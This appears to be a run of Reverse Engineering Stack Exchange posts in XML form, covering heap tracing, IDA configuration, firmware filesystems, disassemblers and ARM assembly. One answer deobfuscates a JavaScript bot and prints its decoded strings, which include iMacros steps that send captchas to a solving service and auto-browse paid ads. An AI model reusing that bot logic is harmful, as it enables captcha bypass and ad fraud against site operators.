  <row Id="17978" PostTypeId="2" ParentId="17975" CreationDate="2018-04-12T10:18:17.500" Score="1" Body="&lt;p&gt;The only thing you can do with the dynamic analysis is to find where the final block is allocated. For this you need to enable memory allocation tracing with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gflags.exe /i yourApplication.exe +ust&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use windbg and !heap -p -a command on the block address, it will print you the call stack which allocated this memory. So at least you'll have the idea where it was allocated, and you'll be able to put hardware breakpoint at the allocation point.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-12T10:18:17.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17979" PostTypeId="2" ParentId="17971" CreationDate="2018-04-12T11:02:32.737" Score="3" Body="&lt;p&gt;I checked it for ida 7.1. The simplest way is fix cfg/ida.cfg file DEFAULT_PROCESSOR section as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find &lt;code&gt;DEFAULT_PROCESSOR = {&lt;/code&gt; clause in the file and replace the &quot;&quot; related to &quot;*&quot; to processor that you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DEFAULT_PROCESSOR = {&#xA;/* Extension    Processor */&#xA;  &quot;com&quot; :       &quot;&quot;                      // IDA will try the specified&#xA;  &quot;exe&quot; :       &quot;&quot;                      // extensions if no extension is&#xA;  &quot;dll&quot; :       &quot;&quot;                      // given.&#xA;  &quot;drv&quot; :       &quot;&quot;&#xA;  &quot;sys&quot; :       &quot;&quot;&#xA;  &quot;bin&quot; :       &quot;&quot;                      // Empty processor means the default processor&#xA;  &quot;ovl&quot; :       &quot;&quot;&#xA;  &quot;ovr&quot; :       &quot;&quot;&#xA;  &quot;ov?&quot; :       &quot;&quot;&#xA;  &quot;nlm&quot; :       &quot;&quot;&#xA;  &quot;lan&quot; :       &quot;&quot;&#xA;  &quot;dsk&quot; :       &quot;&quot;&#xA;  &quot;obj&quot; :       &quot;&quot;&#xA;  &quot;prc&quot; :       &quot;68000&quot;                 // PalmPilot programs&#xA;  &quot;axf&quot; :       &quot;arm&quot;&#xA;  &quot;h68&quot; :       &quot;68000&quot;                 // MC68000 for *.H68 files&#xA;  &quot;i51&quot; :       &quot;8051&quot;                  // i8051   for *.I51 files&#xA;  &quot;sav&quot; :       &quot;pdp11&quot;                 // PDP-11  for *.SAV files&#xA;  &quot;rom&quot; :       &quot;z80&quot;                   // Z80     for *.ROM files&#xA;  &quot;cla*&quot;:       &quot;java&quot;&#xA;  &quot;s19&quot;:        &quot;6811&quot;&#xA;  &quot;epoc&quot;:       &quot;arm&quot;&#xA;  &quot;o&quot;:          &quot;&quot;&#xA;  &quot;*&quot;:          &quot;put the name of your processor here&quot;                      // Default processor&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want your default processor to be arm just put arm inside the corresponding quotes as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &quot;*&quot;:          &quot;arm&quot;                      // Default processor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is, by the way, exact quote from my configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition you can run IDA with -p option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation about -p and other command line switches is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;Documentation about processor types is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/618.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2018-04-15T15:56:18.757" LastActivityDate="2018-04-15T15:56:18.757" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17980" PostTypeId="2" ParentId="17587" CreationDate="2018-04-12T11:51:00.927" Score="0" Body="&lt;p&gt;hope this helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://linux.die.net/man/8/flashrom&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://linux.die.net/man/8/flashrom&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Babu&lt;/p&gt;&#xA;" OwnerUserId="23977" LastActivityDate="2018-04-12T11:51:00.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17981" PostTypeId="2" ParentId="17972" CreationDate="2018-04-12T12:31:53.990" Score="2" Body="&lt;p&gt;All the strings you see &lt;code&gt;\x41\x42\x43&lt;/code&gt; are nothing but normal chars encoded as hex of their ascii values. You can decode them as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;gt;&amp;gt;&amp;gt; &quot;\x41\x42\x43&quot;.decode(&quot;utf-8&quot;)&#xA;u'ABC'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;by trying to decode var _0x6770=[some list] will give you some base64 encoded strings. You can decode them as shown below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; &quot;ZWFjaA==&quot;.decode(&quot;base64&quot;)&#xA;'each'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;combine both steps to uncover var _0x6770 &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;['apply', 'return (function() ', '{}.constructor(&quot;return this&quot;)( )', 'console', 'log', 'warn', 'debug', 'info', 'error', 'exception', 'trace', 'classes', '@mozilla.org/xmlextras/xmlhttprequest;1', 'createInstance', 'interfaces', 'nsIXMLHttpRequest', 'open', 'GET', 'send', 'status', 'an error occurred while loading script at url: ', ', status: ', 'response', 'https://code.jquery.com/jquery-3.2.1.min.js', 'JQuery', 'content', 'document', 'URL', 'https://adbtc.top/surf/browse', 'https://adbtc.top/surf/browse/2', 'h5.header', 'text', 'Please, resolve captcha', 'Skick is solving this captcha for you...', '20060908', 'apikey', 'CODE:\nVERSION BUILD=8820413\nSET !EXTRACT_TEST_POPUP NO\nSET !ERRORIGNORE NO\nSET !TIMEOUT_PAGE 999\nSET !TIMEOUT_STEP 999\nTAB CLOSEALLOTHERS\n\'This iMacros was made by Skick - Don\'t Copy without source, or delete comments.\nSET !VAR0 D:\\\nSET !VAR1 captcha_{{!NOW:yyyymmdd_hhnnss}}.jpg\nSET !VAR2 {{apikey}}\nSET !VAR3 10\nTAB T=1\nONDOWNLOAD FOLDER={{!VAR0}} FILE={{!VAR1}} WAIT=YES\nTAG POS=1 TYPE=IMG ATTR=SRC:https://adbtc.top/captcha/*.jpg CONTENT=EVENT:SAVEPICTUREAS\nWAIT SECONDS=1\nSET !VAR2 EVAL(&quot;var s=\\&quot;{{!VAR2}}\\&quot;; if(s.match(/^[a-zA-Z0-9]+$/) &amp;amp;&amp;amp; s.length &amp;lt;= 50 &amp;amp;&amp;amp; s.length &amp;gt;= 5) s; else MacroError(\\&quot;API Key is wrong.\\&quot;)&quot;)\nSET !VAR3 EVAL(&quot;var s=\\&quot;{{!VAR3}}\\&quot;, d = parseFloat(s); if(d &amp;gt;= 0 &amp;amp;&amp;amp; d &amp;lt;= 20) d; else MacroError(\\&quot;Value(Prio) is not in the set range.\\&quot;)&quot;)\nTAB OPEN\nTAB T=2\nURL GOTO=http://www.9kw.eu/grafik/form.html\nTAG POS=1 TYPE=INPUT ATTR=NAME:apikey CONTENT={{!VAR2}}\nTAG POS=1 TYPE=INPUT ATTR=NAME:prio CONTENT={{!VAR3}}\nTAG POS=1 TYPE=INPUT:CHECKBOX FORM=ACTION:/index.cgi ATTR=NAME:selfsolve CONTENT=NO\nTAG POS=1 TYPE=INPUT:CHECKBOX FORM=ACTION:/index.cgi ATTR=NAME:confirm CONTENT=NO\nTAG POS=1 TYPE=INPUT:CHECKBOX FORM=ACTION:/index.cgi ATTR=NAME:case-sensitive CONTENT=NO\nTAG POS=1 TYPE=INPUT ATTR=NAME:source CONTENT=imacros\nTAG POS=1 TYPE=INPUT ATTR=NAME:max_len CONTENT=10\nTAG POS=1 TYPE=INPUT ATTR=NAME:file-upload-01 CONTENT={{!VAR0}}{{!VAR1}}\nTAG POS=1 TYPE=INPUT ATTR=TYPE:submit\nTAG POS=1 TYPE=INPUT ATTR=NAME:captchaid EXTRACT=TXT\nSET !VAR5 {{!EXTRACT}}\nSET !EXTRACT NULL\nTAG POS=1 TYPE=INPUT ATTR=NAME:result EXTRACT=TXT\nTAB CLOSE\nTAB T=1\nSET !VAR6 EVAL(&quot;if (\\&quot;{{!EXTRACT}}\\&quot; == \\&quot;#EANF#\\&quot;) {var x = \\&quot;\\&quot;;} else {var x = \\&quot;{{!EXTRACT}}\\&quot;;} x;&quot;)\nSET !EXTRACT NULL\nWAIT SECONDS=1\nTAG POS=1 TYPE=INPUT:TEXT FORM=ACTION:https://adbtc.top/surf/* ATTR=ID:captcha CONTENT={{!VAR6}}\nTAG POS=1 TYPE=INPUT:SUBMIT FORM=ACTION:https://adbtc.top/surf/* ATTR=*\nWAIT SECONDS=1\nSEARCH SOURCE=TXT:&quot;(Right|Richtig|Falsch|False|Wrong|Correct|Incorrect)&quot; IGNORE_CASE=YES EXTRACT=&quot;$1&quot;\nSET !VAR7 {{!EXTRACT}}\nSET !EXTRACT NULL\nSET !VAR8 EVAL(&quot;if (\\&quot;{{!VAR7}}\\&quot; == \\&quot;Incorrect\\&quot; || \\&quot;{{!VAR7}}\\&quot; == \\&quot;Wrong\\&quot; || \\&quot;{{!VAR7}}\\&quot; == \\&quot;False\\&quot;) {var x = \\&quot;2\\&quot;;} else {var x = \\&quot;1\\&quot;;} x;&quot;)\nTAB OPEN\nTAB T=2\nURL GOTO=http://www.9kw.eu/index.cgi?source=imacros&amp;amp;action=usercaptchacorrectback&amp;amp;apikey={{!VAR2}}&amp;amp;correct={{!VAR8}}&amp;amp;id={{!VAR5}}\nWAIT SECONDS=2\nTAB CLOSE\nTAB T=1\nFILEDELETE NAME={{!VAR0}}{{!VAR1}}', 'h4.red-text', 'Wrong captcha. Please, try again', 'CODE: URL GOTO=https://adbtc.top/surf/browse', 'You watched all websites for now. Please, come back later, new sites adding several times a day.', 'Skick have helped you to surf all the ads today. Donate me here &amp;lt;3: 1PhmaiDA9cUmeXXjVPtJMRL2NjJuN7xGGU', 'Try refreshing to get new ads... Donate me (Skick) here &amp;lt;3: 1PhmaiDA9cUmeXXjVPtJMRL2NjJuN7xGGU', 'Skick have helped you to surf all the ads today. &amp;lt;3 Donate me here &amp;lt;3:\n1PhmaiDA9cUmeXXjVPtJMRL2NjJuN7xGGU', 'CODE: WAIT SECONDS=2698', &quot;CODE: WAIT SECONDS=10\nURL GOTO=https://adbtc.top/surf/browse\n'Hi, I'm Skick!&quot;, 'ready', 'Skick is surfing ads for you :)\nFrom bitcoinblackhat.com with love.\nDonate me here: 1PhmaiDA9cUmeXXjVPtJMRL2NjJuN7xGGU', 'a[id].btn', 'each', 'match', &quot;CODE: 'This iMacros was made by Skick - Don't Copy without source, or delete comments.\n'Current loop: &quot;, '\nVERSION BUILD=9030808 RECORDER=FX\nTAB T=1\nSET !ERRORIGNORE yes\nSET !TIMEOUT_STEP 2000\nSET !TIMEOUT_PAGE 2\nTAG POS=1 TYPE=A ATTR=ID:{{id}}\nTAB T=2\nWAIT SECONDS=2\nTAB T=1\nSET !TIMEOUT_TAG 150\nWAIT SECONDS=1\nTAB T=2\nWAIT SECONDS=2\nTAB T=1\nTAG POS=2 TYPE=DIV ATTR=TXT:*ou&amp;lt;SP&amp;gt;earned&amp;lt;SP&amp;gt;*\nTAB T=2\nTAB CLOSE\nTAB T=1\nWAIT SECONDS = 5', &quot;CODE: URL GOTO=https://adbtc.top/surf/browse\n'Hi, I'm Skick!&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Repeat the same for all strings(write a script to automate it) that are encoded as their hex chars to deobfuscate it. &#xA;* note that all strings are not encoded as hex(base64(string)). For example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _0x4534b4='\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is encoded as a hex only. You can confirm it with the first command i showed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; &quot;\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d&quot;.decode(&quot;utf-8&quot;)&#xA;u'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23978" LastActivityDate="2018-04-12T12:31:53.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17982" PostTypeId="1" CreationDate="2018-04-12T16:40:32.073" Score="4" ViewCount="3951" Body="&lt;p&gt;I decompiled a piece of firmware using &lt;code&gt;binwalk&lt;/code&gt; and found an entry for a &lt;code&gt;TROC Filesystem&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA; 1064340       0x103D94        Copyright string: &quot;Copyright 2006 Techsonic Industries, Inc. - All Rights Reserved&quot;&#xA; 1084664       0x108CF8        Copyright string: &quot;Copyright 2007 Techsonic Industries, Inc. - All Rights Reserved&quot;&#xA; 1211854       0x127DCE        TROC filesystem, 256 file entries&#xA; 1671429       0x198105        eCos RTOS string reference: &quot;ecosonda&quot;&#xA; 1735998       0x1A7D3E        eCos RTOS string reference: &quot;ecoscandaglio&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While I have seen a number of blogs that got a similar output, none of them seem to actually identify what &lt;code&gt;TROC&lt;/code&gt; stands for, or how to mount it.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="23980" LastEditorUserId="23980" LastEditDate="2018-04-12T19:08:20.623" LastActivityDate="2018-04-12T19:08:20.623" Title="What is a TROC Filesystem, and how do I mount it?" Tags="|firmware|file-format|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17985" PostTypeId="2" ParentId="17941" CreationDate="2018-04-13T07:14:04.623" Score="0" Body="&lt;p&gt;Are you looking for decrypting the files encrypted by the Ransomware. Or are you trying to decrypt the network communication of malware ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is the first one, You will be able to get the private key by stepping into the code till it reaches (make sure you have lot of coffee next to you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second one, You can use sslstrip to decrypt the traffic.&lt;/p&gt;&#xA;" OwnerUserId="23988" LastActivityDate="2018-04-13T07:14:04.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17986" PostTypeId="2" ParentId="17974" CreationDate="2018-04-13T07:25:59.850" Score="1" Body="&lt;p&gt;&lt;code&gt;bp mpAxkSGg3!DriverEntry&lt;/code&gt; should work just fine. Otherwise see which functions &lt;code&gt;mpAxkSGg3.sys&lt;/code&gt; exports and set breakpoints on them. &lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="18014" LastEditDate="2018-05-13T08:49:30.163" LastActivityDate="2018-05-13T08:49:30.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17987" PostTypeId="2" ParentId="17941" CreationDate="2018-04-13T09:58:45.500" Score="0" Body="&lt;p&gt;Assuming it's using standard methods of performing requests You could try using a proxy to route your traffic and then snoop inside the SSL. For example this tool: &lt;a href=&quot;https://www.charlesproxy.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.charlesproxy.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23024" LastActivityDate="2018-04-13T09:58:45.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17990" PostTypeId="1" CreationDate="2018-04-13T15:21:18.063" Score="1" ViewCount="4175" Body="&lt;p&gt;Since weeks my beloved and favorite site www.onlinedisassembler.com is down and shows server error 500.&#xA;Does anybody know any alternative for trying different microcontroller architetures on an unknown binary file?&lt;/p&gt;&#xA;" OwnerUserId="23994" LastActivityDate="2018-04-13T20:09:28.850" Title="OnlineDisassembler is down - any alternative?" Tags="|disassemblers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17991" PostTypeId="2" ParentId="17990" CreationDate="2018-04-13T15:27:54.260" Score="1" Body="&lt;p&gt;Maybe this one (for x86 and AMD64): &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://defuse.ca/online-x86-assembler.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-04-13T15:27:54.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17993" PostTypeId="2" ParentId="17990" CreationDate="2018-04-13T20:09:28.850" Score="1" Body="&lt;p&gt;You can use it (Beta Version in the Cloud)! &lt;a href=&quot;https://beta.onlinedisassembler.com/oda/#/odaweb/ntFgQpjT&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://beta.onlinedisassembler.com/oda/#/odaweb/ntFgQpjT&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/m2ksec/status/954802442524&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://twitter.com/m2ksec/status/954802442524&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/UM7kV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UM7kV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;348416&lt;/p&gt;&#xA;" OwnerUserId="23909" LastActivityDate="2018-04-13T20:09:28.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17994" PostTypeId="1" CreationDate="2018-04-14T10:55:34.723" Score="2" ViewCount="258" Body="&lt;p&gt;very new here so please bear with me. I'm an artist trying to realise an idea for a camera that takes photos every X interval during a month. Everything works, except that the app with which I transfer the photos to a MacBook seems quite unstable after a day or so flooding the Console with &lt;code&gt;RemoteCameraControl[94450] &amp;lt;Warning&amp;gt;: ========== resetTimeoutTimer ==========&amp;lt;&lt;/code&gt; and often randomly disconnecting with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2018/4/6 00:02:15 PTP_FALSE -&amp;gt; pollingThread[464]: Failed to get all device PropValue!!!&#xA;2018/4/6 00:02:20 PTP_FALSE -&amp;gt; timeoutThread[713]: Time Out!!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(from a log created by the program)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not been able to solve this using a combination of Python &amp;amp; LaunchAgents or even resorting to AppleScript, so now I was hoping to have a crack at changing the program itself. The program in question is Sony's freely available RemoteCameraControl (&lt;a href=&quot;http://support.d-imaging.sony.co.jp/imsoft/Mac/rcc/us.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://support.d-imaging.sony.co.jp/imsoft/Mac/rcc/us.html&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mach header&#xA;      magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags&#xA;   MH_MAGIC    I386        ALL  0x00     EXECUTE    26       3740   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've opened it using MachOView and see it's an x86. Now I've been trying to understand the contents, but with my background in coding (Python, R, JS, PHP etc) I was confused by the lack of a linear logic: I understand there are lots of (symbolic) links being specified, either to external or internal components/programs, but nowhere can I seem to find something along the lines of &quot;If no activity for X minutes then shut down the program&quot; or find the parameter that dictates the &lt;code&gt;PTP_FALSE -&amp;gt; timeoutThread[713]: Time Out!!&lt;/code&gt; errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is hardly a specific question, but I was wondering whether anyone could point me into the right direction: are some of the contents not shown by MachOView? Do I need another app to see the linear logic of the app? Is there any good documentation on beginner's steps of how to understand an executable of this sort? I've found this website &lt;a href=&quot;http://thestarman.pcministry.com/asm/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://thestarman.pcministry.com/asm/index.html&lt;/a&gt; but am not sure where really to start either...&lt;/p&gt;&#xA;" OwnerUserId="24009" LastEditorUserId="245" LastEditDate="2019-12-17T23:07:57.853" LastActivityDate="2019-12-17T23:07:57.853" Title="Changing parameters in an OS X executable" Tags="|x86|osx|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="17995" PostTypeId="1" CreationDate="2018-04-14T21:14:35.000" Score="4" ViewCount="1636" Body="&lt;p&gt;I am stuck on making (my little self-task for learning) that thing:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kzYU0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kzYU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it should be something like Themida or VMProtect (do mutation, virtualization, etc.), but in my case,&#xA;&lt;strong&gt;i want to take ASM code between pointers, obfuscate it etc&lt;/strong&gt;, and write it to some DLL. On original application, &#xA;we have a patched trampoline with generated by our &quot;disasm tool&quot; function... Hmm, any example how to make that? =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it is not a good idea of protection software code or something like that, i just do that for learning. I know how ASM pointers&#xA;works in theory. For example, i can do all of that manually with Olly, but how to do that programatically like VMProtect, Enigma or Themida&#xA;&quot;compiler tools&quot; do this? Never tried to make a something like that by my self. And did not find any examples, because that is &quot;arcane&quot; level&#xA;of programming, and also such things hard to find on opensource =(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)How to search programmatically ASM pointer inside compiled application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)How to &quot;cut&quot; &amp;amp; disasm code between 2 ASM pointers programmatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3)How to paste them back (after edit) programmatically?&lt;/p&gt;&#xA;" OwnerUserId="23751" LastEditorUserId="60" LastEditDate="2018-04-16T13:28:47.733" LastActivityDate="2018-05-24T14:44:40.533" Title="ASM code hook/patching with trampoline function" Tags="|disassembly|c++|c|assembly|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17999" PostTypeId="1" CreationDate="2018-04-15T14:32:47.750" Score="1" ViewCount="774" Body="&lt;p&gt;Does anybody know a free disassembler tool for decoding a Renesas RX62 micrcocontroller binary file? There had been www.onlinedisassembler.com, but this site is down and the new beta.onlinedisassembler.com does not integrate the RX type for disassembling. It would be fine too if it would be an offline tool, for sure...&lt;/p&gt;&#xA;" OwnerUserId="23994" LastActivityDate="2018-04-24T09:45:52.120" Title="Disassembler for Renesas RX62 micro" Tags="|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18000" PostTypeId="1" CreationDate="2018-04-15T15:39:01.347" Score="2" ViewCount="3066" Body="&lt;p&gt;I looking for simple tool(not site) to translate arm instruction to hex like &lt;a href=&quot;http://armconverter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://armconverter.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without linker , I want put 1 instruction , and want get the hex .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know one please?&lt;/p&gt;&#xA;" OwnerUserId="23685" LastActivityDate="2018-04-15T20:52:23.180" Title="translate arm instructions to hex" Tags="|x86|arm|patching|binary-editing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18001" PostTypeId="2" ParentId="18000" CreationDate="2018-04-15T15:56:32.827" Score="2" Body="&lt;p&gt;For this exact purpose I highly suggest using a command line tool such as rasm2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a tool that comes with the radare2 suite. One of it's basic capabilities is translating assembly instructions in various architectures to opcodes and vice versa.&#xA;The usage is fairly simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# rasm2 -a arm -b 32 &quot;add R0, R1, R2&quot;&#xA;020081e0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-a&lt;/code&gt; specifies the architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-b&lt;/code&gt; specifies the bits (where 16 is Thumb-1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information there is plenty, such as the &lt;a href=&quot;http://radare.today/posts/rasm/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;blog&quot;&gt;radare2 blog&lt;/a&gt; and &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/rasm2/intro.html&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;official book&quot;&gt;official book&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22915" LastEditorUserId="22915" LastEditDate="2018-04-15T20:48:59.013" LastActivityDate="2018-04-15T20:48:59.013" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18002" PostTypeId="2" ParentId="18000" CreationDate="2018-04-15T19:53:21.900" Score="5" Body="&lt;p&gt;as i commented to Elians post rasm2 works in windows as is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;rasm2 -a arm -b 32 &quot;add r0, r1, r2&quot;&lt;/strong&gt; will return  &lt;strong&gt;020081e0&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can use &lt;strong&gt;&lt;a href=&quot;http://www.keystone-engine.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;keystone&lt;/a&gt; / &lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;capstone&lt;/a&gt;&lt;/strong&gt; to assemble and disassemble &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python&#xA;&amp;gt;&amp;gt;&amp;gt; from keystone import *&#xA;&amp;gt;&amp;gt;&amp;gt; for i in (Ks(KS_ARCH_ARM,KS_MODE_ARM).asm (&quot;add R0,R1,R2&quot; , 0x400000) )[0]:&#xA;...     print &quot;%02x &quot; % i&#xA;...&#xA;02&#xA;00&#xA;81&#xA;e0&#xA;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if you have visual studio you can compile and dumpbin a single instruction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat foo.asm&#xA;    AREA .text, CODE, ARM&#xA;test PROC&#xA;    add R0,R1,R2&#xA;    ENDP&#xA;    END&#xA;&#xA;:\&amp;gt;armasm /nologo foo.asm&#xA;&#xA;:\&amp;gt;dumpbin /disasm foo.obj | grep add&#xA;  00000000: EB01 0002 add         r0,r1,r2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with keystone you use KS_MODE_THUMB &#xA;with rasm you should be using -b 16 but it seems there is a bug where rasm2 can disassemble hex pairs correctly but not assemble it back again &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so may be you follow it up in github issues for radare2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from keystone import *&#xA;&amp;gt;&amp;gt;&amp;gt; for i in (Ks(KS_ARCH_ARM , KS_MODE_THUMB).asm(&quot;add r0,r1,r2&quot; , 0 ))[0]:&#xA;...     print &quot;%02x &quot; %i ,&#xA;...&#xA;01  eb  02  00&#xA;&amp;gt;&amp;gt;&amp;gt; ^Z&#xA;&#xA;&#xA;C:\&amp;gt;rasm2 -a arm -b 16 -d &quot;01 eb 02 00&quot;&#xA;add.w r0, r1, r2&#xA;&#xA;C:\&amp;gt;rasm2 -a arm -b 16 add.w r0, r1, r2&#xA;Cannot assemble 'add.w' at line 3&#xA;invalid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-04-15T20:52:23.180" LastActivityDate="2018-04-15T20:52:23.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
